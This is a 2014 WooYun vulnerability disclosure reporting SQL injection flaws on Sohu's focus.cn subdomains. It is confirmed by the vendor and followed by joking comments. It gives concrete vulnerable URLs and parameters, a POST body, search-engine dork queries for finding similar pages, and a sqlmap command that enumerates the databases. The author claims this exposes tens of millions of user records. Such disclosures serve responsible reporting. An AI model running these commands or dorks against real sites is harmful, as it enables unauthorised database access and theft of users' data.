当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057453

漏洞标题:搜狐旗下某站二级域名下三处sql注入之八(POST&GET)

相关厂商:搜狐

漏洞作者: 浩天

提交时间:2014-04-18 17:39

修复时间:2014-06-02 17:40

公开时间:2014-06-02 17:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-18: 细节已通知厂商并且等待厂商处理中
2014-04-18: 厂商已经确认,细节仅向厂商公开
2014-04-28: 细节向核心白帽子及相关领域专家公开
2014-05-08: 细节向普通白帽子公开
2014-05-18: 细节向实习白帽子公开
2014-06-02: 细节向公众公开

简要描述:

连载7没给过,那和这个8一起合并吧,找点真心不容易吖 @疯狗
3+3=6个,打个大包,还都是子站通用的,这里面有涉及7个库,那里面是“数千万用户信息”那个,呵呵

详细说明:

1.POST注入:
http://hnmsg.focus.cn/group/vinvite.php
post内容:group_id=270135&name%5B%5D=zhangchao
....
site:focus.cn inurl:invite.php?group_id=
sqlmap -u "http://hnmsg.focus.cn/group/vinvite.php" --data "group_id=270135&name%5B%5D=zhangchao" --dbs
7个库,你懂的!!数千万用户....

post1.jpg

漏洞证明:

GET注入:
2.
http://shopimg.focus.cn/rentsale/view.php?rent_id=448417
http://shop.gz.focus.cn/rentsale/view.php?rent_id=329922
http://shop.sh.focus.cn/rentsale/view.php?rent_id=329922
....
site:focus.cn inurl:view.php?rent_id=
3.
http://shop.sh.focus.cn/rentsale/hire_list.php?region_code=310105
http://shop.gz.focus.cn/rentsale/hire_list.php?region_code=440111
....
site:focus.cn inurl:hire_list.php?region_code=

a.jpg

修复方案:

合并一下,测试其他问题,测着测着就发现sql注入了,我是不是跑偏了

版权声明:转载请注明来源 浩天@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-04-18 17:54

厂商回复:

感谢支持。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-18 18:23 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    8集算1季么,屌丝男士

  2. 2014-04-18 19:54 | 小怿 ( 路人 | Rank:29 漏洞数:6 | )

    @浩天 第四季拍的真快,第三季才播完,这就开始拍摄了。。